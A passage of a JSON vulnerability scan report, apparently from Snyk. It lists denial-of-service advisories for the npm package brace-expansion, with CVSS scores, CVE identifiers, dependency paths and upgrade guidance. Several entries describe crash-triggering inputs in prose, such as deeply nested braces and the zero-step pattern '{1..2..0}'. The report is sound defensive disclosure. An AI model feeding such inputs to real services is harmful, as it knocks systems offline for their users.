"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
